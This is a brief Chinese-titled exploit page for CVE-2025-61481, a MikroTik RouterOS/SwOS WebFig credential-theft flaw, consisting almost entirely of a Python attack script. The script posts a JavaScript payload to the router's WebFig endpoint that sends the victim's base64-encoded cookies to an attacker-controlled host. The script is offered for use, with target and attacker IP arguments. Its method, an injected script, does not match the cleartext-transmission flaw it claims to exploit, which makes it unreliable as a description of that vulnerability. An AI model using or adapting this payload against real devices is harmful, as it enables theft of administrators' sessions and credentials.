CVE-2025-61481: MikroTik RouterOS/SwOS WebFig明文传输导致凭证窃取漏洞

import requests import argparse def exploit_cve_2025_61481(target_ip, attacker_ip): # 构造恶意JavaScript payload js_payload = """<script>fetch('http://{}:8080/steal?c='+btoa(document.cookie))</script>""".format(attacker_ip) # 发送恶意请求 target_url = f"http://{target_ip}/webfig" response = requests.post(target_url, data={'html': js_payload}) return response.text if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-61481 Exploit') parser.add_argument('--target', required=True, help='Target MikroTik IP') parser.add_argument('--attacker', required=True, help='Attacker IP') args = parser.parse_args() print(exploit_cve_2025_61481(args.target, args.attacker))